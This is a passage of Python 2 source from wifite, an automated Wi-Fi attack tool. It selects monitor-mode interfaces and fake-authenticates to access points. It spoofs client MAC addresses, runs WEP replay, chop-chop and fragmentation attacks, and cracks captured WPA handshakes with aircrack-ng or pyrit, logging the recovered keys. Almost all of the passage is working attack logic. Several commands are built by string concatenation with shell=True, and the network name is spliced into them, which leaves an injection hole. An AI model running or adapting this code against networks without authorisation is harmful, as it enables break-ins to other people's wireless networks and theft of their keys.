-nowep '+GR+'do NOT scan for WEP (default is on)' ############################################################################### find_mon def find_mon(): """ finds any wireless devices running in monitor mode if no monitor-mode devices are found, it asks for a device to put into monitor mode if only one monitor-mode device is found, it is used if multiple monitor-mode devices are found, it asks to pick one """ global IFACE, TEMPDIR, USING_XTERM ifaces=[] print GR+'[+] '+W+'searching for devices in monitor mode...' proc=subprocess.Popen(['iwconfig'], stdout=subprocess.PIPE,stderr=subprocess.PIPE) txt=proc.communicate()[0] lines=txt.split('\n') current_iface='' for line in lines: if not line.startswith(' ') and line[0:line.find(' ')] != '': current_iface=line[0:line.find(' ')] if line.find('Mode:Monitor') != -1: ifaces.append(current_iface) if len(ifaces) == 0 or ifaces == []: print GR+'[!] '+O+'no wireless interfaces are in monitor mode!' proc=subprocess.Popen(['airmon-ng'], stdout=subprocess.PIPE,stderr=open(os.devnull, 'w')) txt=proc.communicate()[0] lines=txt.split('\n') poss=[] for line in lines: if line != '' and line.find('Interface') == -1: poss.append(line) i=len(poss)-1 if poss[i][:poss[i].find('\t')].lower() == IFACE.lower(): poss=[poss[i][:poss[i].find('\t')]] break if len(poss) == 0: print R+'[!] no devices are capable of monitor mode!' print R+'[!] perhaps you need to install new drivers' print R+'[+] this program will now exit.' print W if USING_XTERM: print GR+'[!] '+W+'close this window at any time to exit wifite'+W subprocess.call(['rm','-rf',TEMPDIR]) sys.exit(0) elif len(poss) == 1 and IFACE != '' and poss[0].lower() == IFACE.lower(): print GR+'[+] '+W+'putting "'+G + poss[0] + W+'" into monitor mode...' subprocess.call(['airmon-ng','start',poss[0]], stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) IFACE='' find_mon() # recursive call return else: print GR+'\n[+] '+W+'select which device you want to put into monitor mode:' for p in xrange(0, len(poss)): print ' '+G + str(p + 1) + W+'. ' + poss[p] err=True while err==True: try: print GR+'[+] '+W+'select the wifi interface (between '+G+'1'+W+' and '+G + str(len(poss)) + W+'):'+G, num=int(raw_input()) if num >= 1 and num <= len(poss): err=False except ValueError: err=True poss[num-1] = poss[num-1][:poss[num-1].find('\t')] print GR+'[+] '+W+'putting "'+G + poss[num-1] + W+'" into monitor mode...' updatesqlstatus('[+] putting "' + poss[num-1] + '" into monitor mode...') subprocess.call(['airmon-ng','start',poss[num-1]], stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) find_mon() # recursive call return else: # lif len(ifaces) == 1: # make sure the iface they want to use is already in monitor mode if IFACE != '': for i in ifaces: if i == IFACE: print GR+'[+] '+W+'using interface "'+G+ IFACE +W+'"\n' updatesqlstatus('[+] using interface "'+ IFACE +'"') return IFACE=ifaces[0] # only one interface in monitor mode, we know which one it is print GR+'[+] '+W+'defaulting to interface "'+G+ IFACE +W+'"\n' return print GR+'[+] '+W+'using interface "'+G+ IFACE +W+'"\n' updatesqlstatus('[+] using interface "'+ IFACE +'"') ############################################################################### getmac() def getmac(): """ returns the MAC address of the current interface """ global IFACE proc_mac = subprocess.Popen(['ifconfig',IFACE], stdout=subprocess.PIPE, stderr=open(os.devnull, 'w')) proc_mac.wait() lines = proc_mac.communicate()[0] if lines == None: return 'NO MAC' for line in lines: line = lines.split('\n')[0] line=line[line.find('HWaddr ')+7:] if line.find('-') != -1: macnum=line.split('-') mac='' for i in xrange(0, len(macnum)): mac=mac+macnum[i] if i < 5: mac=mac+':' else: break return mac else: return line.strip() ############################################################################### wpa_crack def wpa_crack(index): """ index = the index of WPA_CRACK list we are cracking as we grab handshakes during the inital attacks, the handshakes are stored in WPA_CRACK this opens aircrack (in the background) and tries to crack the WPA handshakes i don't have a way to get the # of tries per second or total, so it just outputs "cracking" every 5 seconds maybe it could do something else... """ # check if we are going to crack with pyrit, and if so, if we even can. if CRACK_WITH_PYRIT == True: proc_pyrit = subprocess.Popen(['which','pyrit'],stdout=subprocess.PIPE) if proc_pyrit.communicate()[0].strip() != '': proc_cowpatty = subprocess.Popen(['which','cowpatty'],stdout=subprocess.PIPE) if proc_cowpatty.communicate()[0].strip() != '': wpa_crack_pyrit(index) return global DICT, WPA_CRACK, TEMPDIR, CRACKED filename=WPA_CRACK[index][0] ssid =WPA_CRACK[index][1] bssid =WPA_CRACK[index][2] print GR+'['+sec2hms(0)+'] '+W+'started cracking WPA key for "'+G + ssid + W+'" using '+G+'aircrack-ng'+W+';', # calculate number of passwords we will try proc_pmk=subprocess.Popen(['wc','-l',DICT], stdout=subprocess.PIPE, stderr=open(os.devnull,'w')) txt=proc_pmk.communicate()[0] if txt != None: txt=txt.strip().split(' ')[0] if txt != '': total_pmks=int(txt.strip())+1 print GR+'\n['+sec2hms(0)+'] '+W+'using '+G+DICT+W+' ('+G + str(total_pmks) +' passwords'+W+')' else: total_pmks=0 print '' cracked='' proc_crack='' START_TIME=time.time() try: subprocess.call(['rm','-rf',TEMPDIR+'wpakey.txt',TEMPDIR+'crackout.tmp']) time.sleep(0.1) cmd = 'aircrack-ng -a 2 -w '+DICT+' -l '+TEMPDIR+'wpakey.txt '+filename+' >> '+TEMPDIR+'crackout.tmp' proc_crack = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'), shell=True) ks='0' pmks='0' while (proc_crack.poll() == None): time.sleep(1) print '\r'+GR+'['+sec2hms(time.time() - START_TIME)+'] '+W+'cracking;', f=open(TEMPDIR+'crackout.tmp') txt=f.read() if txt != '' and txt != None: ks='' # find the keys per second last=txt.rfind(' k/s)') first=txt.rfind('(') if last != -1 and first != -1: first+=1 ks=txt[first:last] if ks.strip() != '': print G+str(ks)+W+' k/s;', # find the total keys last=txt.rfind(' keys tested') first=txt.rfind('] ') if last != -1 and first != -1: first+=2 pmks=txt[first:last] if pmks.strip() != '': print G+str(pmks)+W+' keys total;', if total_pmks != 0 and pmks != '': print G+str(int(pmks) * 100 / total_pmks) + '%'+W, # find the ETA if ks.find('.') != -1 and pmks != '': kps=int(ks[:ks.find('.')]) if kps > 0: eta=int((total_pmks - int(pmks)) / kps) print 'eta: ' + C+sec2hms(eta), print ' '+W, sys.stdout.flush() # wipe the aircrack output file (keep it from getting too big) subprocess.call('echo "" > '+TEMPDIR+'crackout.tmp',shell=True) print '\r'+GR+'['+sec2hms(time.time() - START_TIME)+'] '+W+'cracking;', print G+str(ks)+W+' k/s;', print G+str(total_pmks)+W+' keys total;', print G+'100%'+W, print 'eta: '+C+'0:00:00 '+W if os.path.exists(TEMPDIR+'wpakey.txt'): f = open(TEMPDIR+'wpakey.txt','r') cracked=f.readlines()[0] print '\n'+GR+'['+sec2hms(time.time()-START_TIME)+'] '+G+'cracked "' + ssid + '"! the key is: "'+C+cracked+G+'"' logit('cracked WPA key for "' + ssid + '" (' + bssid + '), the key is: "' + cracked + '"') sqllogit('WPA', ssid, bssid, cracked) CRACKED += 1 else: print GR+'\n['+sec2hms(time.time()-START_TIME)+'] '+W+'wordlist crack complete; '+O+'WPA key for "' + ssid + '" was not found in the dictionary' except KeyboardInterrupt: print R+'\n['+sec2hms(time.time()-START_TIME)+'] '+O+'cracking interrupted\n'+W # check if there's other files to crack (i < len(WPA_CRACK)) # if there are, ask if they want to start cracking the next handshake, or exit if index != len(WPA_CRACK) - 1: # there are more handshakes to crack! prompt a menu... menu= G+' [c]ontinue cracking other handshakes ('+str(len(WPA_CRACK)-index-1)+' remaining)\n' menu+=R+' [e]xit the program completely' print GR+'\n[+] '+W+'please select a menu option below:' print menu print GR+'[+] '+W+'enter option ('+G+'c'+W+' or '+R+'e'+W+'):', typed=raw_input() if typed == 'e': WPA_CRACK.append(['','','']) try: os.kill(proc_crack.pid, signal.SIGTERM) except OSError: pass except UnboundLocalError: pass # for some reason (maybe the stream pointer?) aircrack doesn't stay dead. subprocess.call(['killall','aircrack-ng'], stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) # remove the temp file subprocess.call(['rm','-rf',TEMPDIR+'crackout.tmp']) def wpa_crack_pyrit(index): global DICT, WPA_CRACK, TEMPDIR, CRACKED filename=WPA_CRACK[index][0] ssid =WPA_CRACK[index][1] bssid =WPA_CRACK[index][2] is_it_cracked = False print GR+'['+sec2hms(0)+'] '+W+'started cracking WPA key for "'+G + ssid + W+'" using '+G+'pyrit'+W+';', # calculate number of passwords we will try proc_pmk=subprocess.Popen(['wc','-l',DICT], stdout=subprocess.PIPE, stderr=open(os.devnull,'w')) txt=proc_pmk.communicate()[0] if txt != None: txt=txt.strip().split(' ')[0] if txt != '': total_pmks=int(txt.strip())+1 print GR+'\n['+sec2hms(0)+'] '+W+'using '+G+DICT+W+' ('+G + str(total_pmks) +' passwords'+W+')' else: total_pmks=0 print '' cracked='' proc_crack='' START_TIME=time.time() try: subprocess.call(['rm','-rf',TEMPDIR+'crackout.tmp']) time.sleep(0.1) cmd = 'pyrit -e "' + ssid + '" -i "' + DICT + '" -o - passthrough | ' + \ 'cowpatty -d - -r ' + filename + ' -s ' + ssid + \ ' '+TEMPDIR+'crackout.tmp' #cmd = 'aircrack-ng -a 2 -w '+DICT+' -l '+TEMPDIR+'wpakey.txt '+filename+' >> '+TEMPDIR+'crackout.tmp' proc_crack = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'), shell=True) ks='0' pmks='0' while (proc_crack.poll() == None): time.sleep(1) print '\r'+GR+'['+sec2hms(time.time() - START_TIME)+'] '+W+'cracking;', f=open(TEMPDIR+'crackout.tmp') txt=f.read() if txt != '' and txt != None: # check for crack passk = txt.find('The PSK is "') if passk != -1: # key found! passk = passk + len('The PSK is "') passk2 = txt.find('"', passk + 1) thepass = txt[passk:passk2] print '\n'+GR+'['+sec2hms(time.time()-START_TIME)+'] '+G+'cracked "' + ssid + '"! the key is: "'+C+thepass+G+'"' logit('cracked WPA key for "' + ssid + '" (' + bssid + '), the key is: "' + thepass + '"') CRACKED += 1 is_it_cracked = True break current='' # find the keys per second last=txt.rfind('key no. ') lastc = txt.find(':', last) if last != -1: current = txt[last+len('key no. '):lastc] print G+str(current)+W+' keys tried;', try: curnum = int(current) print G+str(curnum * 100 / total_pmks) + '%'+W, except ValueError: curnum = -1 sys.stdout.flush() # wipe the aircrack output file (keep it from getting too big) subprocess.call('echo "" > '+TEMPDIR+'crackout.tmp',shell=True) f=open(TEMPDIR+'crackout.tmp') txt=f.read() if txt != '' and txt != None and is_it_cracked == False: # check for crack passk = txt.find('The PSK is "') if passk != -1: # key found! passk = passk + len('The PSK is "') passk2 = txt.find('"', passk + 1) thepass = txt[passk:passk2] print '\n'+GR+'['+sec2hms(time.time()-START_TIME)+'] '+G+'cracked "' + ssid + '"! the key is: "'+C+thepass+G+'"' logit('cracked WPA key for "' + ssid + '" (' + bssid + '), the key is: "' + thepass + '"') CRACKED += 1 is_it_cracked = True if is_it_cracked == False: print GR+'\n['+sec2hms(time.time()-START_TIME)+'] '+W+'wordlist crack complete; '+O+'WPA key for "' + ssid + '" was not found in the dictionary' print '\n' except KeyboardInterrupt: print R+'\n['+sec2hms(time.time()-START_TIME)+'] '+O+'cracking interrupted\n'+W # check if there's other files to crack (i < len(WPA_CRACK)) # if there are, ask if they want to start cracking the next handshake, or exit if index != len(WPA_CRACK) - 1: # there are more handshakes to crack! prompt a menu... menu= G+' [c]ontinue cracking other handshakes ('+str(len(WPA_CRACK)-index-1)+' remaining)\n' menu+=R+' [e]xit the program completely' print GR+'\n[+] '+W+'please select a menu option below:' print menu print GR+'[+] '+W+'enter option ('+G+'c'+W+' or '+R+'e'+W+'):', typed=raw_input() if typed == 'e': WPA_CRACK.append(['','','']) try: os.kill(proc_crack.pid, signal.SIGTERM) except OSError: pass except UnboundLocalError: pass # kill pyrit (just in case) subprocess.call(['killall','pyrit'], stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) # remove the temp file subprocess.call(['rm','-rf',TEMPDIR+'crackout.tmp']) ############################################################################### dict_check def dict_check(): """ checks if user has specified a dictionary if not, it checks the current ATTACK list for any targets that may be WPA if it finds any WPA, it immediately prompts the user for a dictionary user has the option to ctrl+C or type 'none' to avoid cracking if DICT is 'none', then reset DICT to '' and move on """ global DICT, ATTACK, TARGETS if DICT == '': for x in ATTACK: if TARGETS[x-1][2].startswith('WPA'): # we don't have a dictionary and the user wants to crack WPA print GR+'\n[+] '+W+'in order to crack WPA, you will need to '+O+'enter a dictionary file' ent = 'blahnotafile' #try: while 1: print GR+'[+] '+W+'enter the path to the dictionary to use, or "'+G+'none'+W+'" to not crack at all:' ent = raw_input() if ent == 'none' or ent == '"none"': break elif not os.path.exists(ent): print R+'[!] error! path not found: '+O+ent+R+'; please try again\n' else: DICT=ent print GR+'[+] '+W+'using "'+G+DICT+W+'" as wpa wordlist dictionary' break #except KeyboardInterrupt: # print GR+'\n[+] '+W+'no dictionary file entered; continuing anyway' break elif DICT == 'none': DICT='' ############################################################################### attack def attack(index): """ checks if target is WPA or WEP, forwards to the proper method """ print GR+'\n[+] '+W+'attacking "'+G + TARGETS[index][8] + W+'"...' updatesqlstatus('[+] attacking "' + TARGETS[index][8] + '"...') if TARGETS[index][2].startswith('WPA'): attack_wpa(index) elif TARGETS[index][2].startswith('WEP'): attack_wep_all(index) else: print R+'\n[!] unknown encryption type: '+O + TARGETS[index][2] + R+'\n' ############################################################################### is_shared def is_shared(index): """ uses aireplay fake-auth to determine if an AP uses SKA or not returns True if AP uses SKA, False otherwise """ global TARGETS, IFACE cmd=['aireplay-ng','-1','0',TARGETS[index][0],'-T','1',IFACE] proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w')) txt=proc.communicate()[0] if txt == None: return False elif txt.lower().find('shared key auth') != -1: return True else: return False ############################################################################### attack_wep_all def attack_wep_all(index): """ attacks target using all wep attack methods """ global TARGETS, CLIENTS, IFACE, WEP_MAXWAIT, WEP_PPS global THIS_MAC, WEP_ARP, WEP_CHOP, WEP_FRAG, WEP_P0841 global AUTOCRACK, CRACKED, OLD_MAC, TEMPDIR, EXIT_IF_NO_FAKEAUTH global SKIP_TO_WPA, WPA_CRACK, EXIT_PROGRAM # to exit early global HAS_INTEL4965, THEFILE, CHANGE_MAC, DICT # to keep track of how long we are taking TIME_START=time.time() # set up lists so we can run all attacks in this method weps =[WEP_ARP, WEP_CHOP, WEP_FRAG, WEP_P0841] wepname=['arp replay','chop-chop','fragmentation','-p0841'] # if there's no selected attacks, stop if weps[0]==False and weps[1]==False and weps[2]==False and weps[3]==False: print R+'[!] no wep attacks are selected; unable to attack!' print R+'[!] edit '+THEFILE+' so these are equal to True: WEP_ARP, WEP_FRAG, WEP_CHOP, WEP_P0841' print W return # flags stop_attack=False started_crack=False EXIT_PROGRAM=False OLD_MAC='' # set the client to a client, or this mac address if there's no clients client=CLIENTS.get(TARGETS[index][0], THIS_MAC) # kill all backup IVS files... just in case subprocess.call('rm -rf '+TEMPDIR+'wep-*.ivs', shell=True) #subprocess.call('rm -rf wep-*.cap', shell=True) # delete airodump log files subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.kismet.csv',\ TEMPDIR+'wep-01.kismet.netxml',TEMPDIR+'wep-01.ivs']) subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt']) time.sleep(0.1) # open airodump to capture packets cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1], '--bssid',TARGETS[index][0], \ '--output-format','csv,ivs',IFACE] proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) try: # if we don't have a client, OR it's using SKA (have to fake-auth anyway) if client == THIS_MAC or is_shared(index) or CHANGE_MAC == False: # fake-authenticate with the router faked=False if not HAS_INTEL4965: for i in xrange(1, 4): time.sleep(1) print '\r'+GR+'['+get_time(WEP_MAXWAIT,TIME_START)+\ '] '+W+'attempting '+O+'fake-authentication'+W+' ('+str(i)+'/3)', sys.stdout.flush() time.sleep(0.3) faked=attack_fakeauth(index) if faked: break else: print GR+'[+] '+R+'killing '+W+'airodump-ng' # wpa_supplicant workaround requires airodump-ng be closed. try: os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng except OSError: pass except UnboundLocalError: pass subprocess.call(['killall','airodump-ng'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w')) time.sleep(0.5) print GR+'[+] '+W+'stopping '+O+'mon0' subprocess.call(['airmon-ng','stop','mon0'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w')) print ''+GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+O+'attempting intel 4965 workaround'+W faked=attack_fakeauth_intel(index) print GR+'[+] '+W+'starting '+O+'wlan1'+W+' on channel '+O+str(TARGETS[index][1])+W subprocess.call(['airmon-ng','start','wlan0',str(TARGETS[index][1])], \ stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w')) print GR+'[+] '+R+'starting '+W+'airodump-ng' # open airodump to capture packets cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1], '--bssid',TARGETS[index][0], \ '--output-format','csv,ivs',IFACE] proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) if faked: # fake auth was successful print GR+'\r['+get_time(WEP_MAXWAIT,TIME_START)+'] '+G+'fake authentication successful :) ' if CHANGE_MAC == False: client=THIS_MAC else: # fake auth was unsuccessful (SKA?) print GR+'\r['+get_time(WEP_MAXWAIT, TIME_START)+'] '+R+'fake authentication unsuccessful :( ' if EXIT_IF_NO_FAKEAUTH: print GR+'['+get_time(WEP_MAXWAIT, TIME_START)+'] '+R+'exiting attack...' # kill airodump try: os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng except OSError: pass except UnboundLocalError: pass subprocess.call(['killall','airodump-ng'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w')) return else: print GR+'['+get_time(WEP_MAXWAIT, TIME_START)+'] '+O+\ 'continuing attack anyway (odds of success are low)'+W else: # if we have a client and it's not SKA, we can just change our MAC # kill airodump, we can't change our MAC while airodump is running try: os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng except OSError: pass except UnboundLocalError: pass subprocess.call(['killall','airodump-ng'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w')) # change mac from OLD_MAC to 'client' OLD_MAC = THIS_MAC print GR+'['+get_time(WEP_MAXWAIT, TIME_START)+'] '+W+'changing mac to '+GR+ client.lower() +W+'...' subprocess.call(['ifconfig',IFACE,'down']) subprocess.call(['macchanger','-m',client,IFACE], stdout=open(os.devnull,'w')) subprocess.call(['ifconfig',IFACE,'up']) print GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+W+'changed mac; continuing attack' time.sleep(0.3) # delete airodump log files subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.kismet.csv',\ TEMPDIR+'wep-01.kismet.netxml',TEMPDIR+'wep-01.ivs']) subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt']) time.sleep(0.1) # start airodump again! cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1],'--bssid',TARGETS[index][0],\ '--output-format','csv,ivs',IFACE] proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) time.sleep(0.3) # should we fake-auth after spoofing a client's mac address? #if attack_fakeauth(index): # print '['+get_time(WEP_MAXWAIT, TIME_START)+'] fake authentication successful :)' #else: # print '['+get_time(WEP_MAXWAIT, TIME_START)+'] fake authentication unsuccessful :(' except KeyboardInterrupt: # user interrupted during fakeauth subprocess.call(['killall','aireplay-ng','airodump-ng'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w')) print R+'\n[!] ^C interrupt received' # show menu! menu=G+' [c]ontinue with this attack ("'+TARGETS[index][8]+'")\n' opts=G+'c'+W # check if there's other targets to attack for i in xrange(0,len(ATTACK)): if index==ATTACK[i]-1: if i < len(ATTACK) - 1: # more to come opts+=', '+G+'n'+W if i == len(ATTACK)-2: menu=menu+O+' [n]ext attack (there is 1 target remaining)\n' else: menu=menu+O+' [n]ext attack (there are '+str(len(ATTACK)-i-1)+' targets remaining)\n' break if len(WPA_CRACK) > 0 and DICT != '' and DICT != 'none': if opts != '': opts+=',' opts+=O+'s'+W if len(WPA_CRACK) == 1: menu=menu+O+' [s]kip to the WPA cracking (you have 1 handshake to crack)\n' else: menu=menu+O+' [s]kip to the WPA cracking (you have '+str(len(WPA_CRACK))+' handshakes to crack)\n' if menu!= '': opts+=', or '+R+'e'+W menu=menu+R+' [e]xit the program completely' print GR+'\n[+] '+W+'please select a menu option below:' print menu print GR+'[+] '+W+'enter option ('+opts+'):'+W, typed=raw_input() if typed=='c': # start airodump and do nothing (the rest will start) # delete airodump log files subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.kismet.csv',\ TEMPDIR+'wep-01.kismet.netxml',TEMPDIR+'wep-01.ivs']) subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt']) time.sleep(0.1) # start airodump again! cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1],'--bssid',TARGETS[index][0], \ '--output-format','csv,ivs',IFACE] proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) time.sleep(0.3) elif typed=='n': # return, takes us out and we can start the next attack return elif typed == 's': # skip to WPA cracking! SKIP_TO_WPA=True return else: # user selected something else (must be 'e', exit completely) SKIP_TO_WPA=True # exits out of wep/wpa attacks WPA_CRACK=[] # we have no wpa's to crack! on noez, it'll exit return # gtfo else: # no reason to keep running! gtfo return # end of try: around fake auth # keep track of all the IVS captured total_ivs=0 oldivs=0 # loop through every WEP attack method for wepnum in xrange(0, len(weps)): if weps[wepnum]==True: # reset the timer for each attack TIME_START=time.time() print GR+'['+get_time(WEP_MAXWAIT,TIME_START)+ \ '] '+W+'started '+GR+wepname[wepnum]+W+' attack on "'+G+TARGETS[index][8]+W+'"; '+GR+'Ctrl+C for options' # remove any .xor and replay files subprocess.call('rm -rf replay_arp-*.cap *.xor',shell=True) time.sleep(0.3) if wepnum==0: cmd=['aireplay-ng','-3','-b',TARGETS[index][0],'-h',client,'-x',str(WEP_PPS),IFACE] elif wepnum==1: cmd=['aireplay-ng','-4','-b',TARGETS[index][0],'-h',client,'-m','100','-F','-x',str(WEP_PPS),IFACE] elif wepnum==2: cmd=['aireplay-ng','-5','-b',TARGETS[index][0],'-h',client,'-m','100','-F','-x',str(WEP_PPS),IFACE] elif wepnum==3: cmd=['aireplay-ng','-2','-b',TARGETS[index][0],'-h',client,'-T','1','-F','-p','0841',IFACE] proc_replay = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w')) # chopchop and frag both require replaying the arp packet, this flag lets us know when replaying=False # keep track of how many IVS we've captured, so we don't print every 5 seconds endlessly while (time.time() - TIME_START) < WEP_MAXWAIT or WEP_MAXWAIT == 0 or (ivsps > 100): try: if proc_replay.poll() != None: # and wepnum != 0 and wepnum != 3: # the attack stopped, it's not arp-replay or p0841 (chopchop/frag) if wepnum == 0 or wepnum == 3: print R+'\n['+get_time(WEP_MAXWAIT,TIME_START)+'] '+wepname[wepnum]+' attack failed' break # look if a .xor file was created... proc_replay = subprocess.Popen('ls *.xor', stdout=subprocess.PIPE, \ stderr=open(os.devnull, 'w'), shell=True) xor_file=proc_replay.communicate()[0].strip() if xor_file == '': # no xor file, we have failed! print R+'\n['+get_time(WEP_MAXWAIT,TIME_START)+\ '] attack failed; '+O+'unable to generate keystream'+W break else: # we have a .xor file, time to generate+replay xor_file=xor_file.split('\n')[0] # remove arp.cap, so we don't have over-write issues subprocess.call(['rm','-rf',TEMPDIR+'arp.cap']) time.sleep(0.1) print GR+'\n['+get_time(WEP_MAXWAIT,TIME_START)+ \ '] '+G+'produced keystream, '+O+'forging with packetforge-ng...' cmd=['packetforge-ng','-0','-a',TARGETS[index][0],'-h',client,\ '-k','192.168.1.2','-l','192.168.1.100','-y',xor_file,'-w',TEMPDIR+'arp.cap',IFACE] proc_replay = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w')) proc_replay.wait() result=proc_replay.communicate()[0] if result == None: result = 'none' else: result = result.strip() if result.lower().find('Wrote packet'): # remove the .xor file so we don't mistake it later on subprocess.call(['rm','-rf',xor_file]) print GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+G+'replaying keystream with arp-replay...' cmd=['aireplay-ng','-2','-r',TEMPDIR+'arp.cap','-F',IFACE] proc_replay = subprocess.Popen(cmd,stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) replaying=True else: #invalid keystream print R+'['+get_time(WEP_MAXWAIT,TIME_START)+'] unable to forge arp packet' break else: # attack is still going strong pass ivs=get_ivs(TEMPDIR+'wep-01.csv') if ivs==-1: ivs=0 ivs += total_ivs # in case we got IVS from another attack # check if it's time to start the auto-crack and we have not started cracking... if ivs >= AUTOCRACK and started_crack==False: started_crack=True # overwrite the current line print '\r'+GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+W+'started cracking WEP key ('+G+'+'+\ str(AUTOCRACK)+' ivs'+W+') ' # remove the wep key output file, so we don't get a false-positive subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt'],stdout=open(os.devnull,'w'),\ stderr=open(os.devnull, 'w')) time.sleep(0.1) cmd='aircrack-ng -a 1 -l '+TEMPDIR+'wepkey.txt '+TEMPDIR+'wep-*.ivs -w '+DICT proc_crack = subprocess.Popen(cmd,shell=True,stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) # check if we've cracked it if os.path.exists(TEMPDIR+'wepkey.txt'): stop_attack=True try: f = open(TEMPDIR+'wepkey.txt', 'r') pw = f.readlines()[0].strip() f.close() except IOError: pw='[an unknown error occurred; check wepkey.txt]' CRACKED += 1 print GR+'\n['+get_time(WEP_MAXWAIT,TIME_START)+'] '+G+'wep key found for "'+TARGETS[index][8]+'"!' print GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+W+'the key is "'+C + pw + W+'", saved in '+G+'log.txt' updatesqlstatus('wep key found for "'+TARGETS[index][8]+'"!') # only print the ascii version to the log file if it does not contain non-printable characters if to_ascii(pw).find('non-print') == -1: logit('cracked WEP key for "'+TARGETS[index][8]+'", the key is: "'+pw+'", in ascii: "' + to_ascii(pw) +'"') sqllogit('WEP', TARGETS[index][8], TARGETS[index][0], pw, to_ascii(pw)) else: logit('cracked WEP key for "'+TARGETS[index][8]+'", the key is: "'+pw+'"') sqllogit('WEP', TARGETS[index][8], TARGETS[index][0], pw) break # break out of this method's while if started_crack==True and proc_crack.poll() != None: # we were cracking, but it stopped... #print '\r'+GR+'[+] '+O+'cracking stopped, for some reason; '+W+'restarting... ' cmd='aircrack-ng -a 1 -l '+TEMPDIR+'wepkey.txt '+TEMPDIR+'wep-*.ivs' proc_crack = subprocess.Popen(cmd,shell=True,stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) print '\r'+GR+'['+get_time(WEP_MAXWAIT,TIME_START)+ \ '] '+W+wepname[wepnum]+' attack on "'+G+TARGETS[index][8]+W+'"', print 'captured '+G+ str(ivs) +W+' ivs', ivsps = (ivs-oldivs) / 5 print '('+G+str(ivsps)+W+'/sec)', updateivps(ivsps) if started_crack: print 'cracking... ', elif replaying: print 'replaying... ', else: print ' ', sys.stdout.flush() oldivs=ivs time.sleep(5) # wait 5 seconds except KeyboardInterrupt: print R+'\n['+get_time(WEP_MAXWAIT,TIME_START)+ \ '] stopping attack on "'+O+TARGETS[index][8]+R+'"...' # show menu! wcount=0 # count number of methods remaining for i in xrange(wepnum+1,len(weps)): if weps[i] == True: wcount += 1 if wcount == 0: menu='' opts='' elif wcount == 1: menu=G+' [c]ontinue attacking; 1 method left\n' opts=G+'c'+W else: menu=G+' [c]ontinue attacking; '+str(wcount)+' methods left\n' opts=G+'c'+W # check if there's other targets to attack for i in xrange(0,len(ATTACK)): if index==ATTACK[i]-1: if i < len(ATTACK) - 1: # more to come if opts != '': opts+=', ' if menu=='': menu+=G opts+=G+'n'+W else: menu+=O opts+=O+'n'+W if i == len(ATTACK)-2: menu+=' [n]ext attack (there is 1 target remaining)\n' else: menu+=' [n]ext attack (there are '+str(len(ATTACK)-i-1)+' targets remaining)\n' break if len(WPA_CRACK) > 0 and DICT != '' and DICT != 'none': if opts != '': opts+=', ' opts+=O+'s'+W if len(WPA_CRACK) == 1: menu+=O+' [s]kip to the WPA cracking (you have 1 handshake to crack)\n' else: menu+=O+' [s]kip to the WPA cracking (you have '+str(len(WPA_CRACK))+' handshakes to crack)\n' if menu!= '': opts+=', or '+R+'e'+W menu=menu+R+' [e]xit the program completely' print GR+'\n[+] '+W+'please select a menu option below:' print menu print GR+'[+] '+W+'enter option ('+opts+'):'+W, typed=raw_input() if typed == 'c': # continue with this attack! try: # kill the processes os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng except OSError: pass except UnboundLocalError: pass try: os.kill(proc_replay.pid, signal.SIGTERM) # aireplay-ng except OSError: pass except UnboundLocalError: pass try: os.kill(proc_crack.pid, signal.SIGTERM) # aircrack-ng except OSError: pass except UnboundLocalError: pass time.sleep(0.1) subprocess.call(['killall','airodump-ng','aireplay-ng','aircrack-ng'],stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w')) time.sleep(0.1) # back up the old IVS file backup=2 while os.path.exists(TEMPDIR+'wep-0' + str(backup) + '.ivs'): backup += 1 subprocess.call('cp '+TEMPDIR+'wep-01.ivs '+TEMPDIR+'wep-0' + str(backup) + '.ivs', shell=True) time.sleep(0.1) # grace period # delete old files 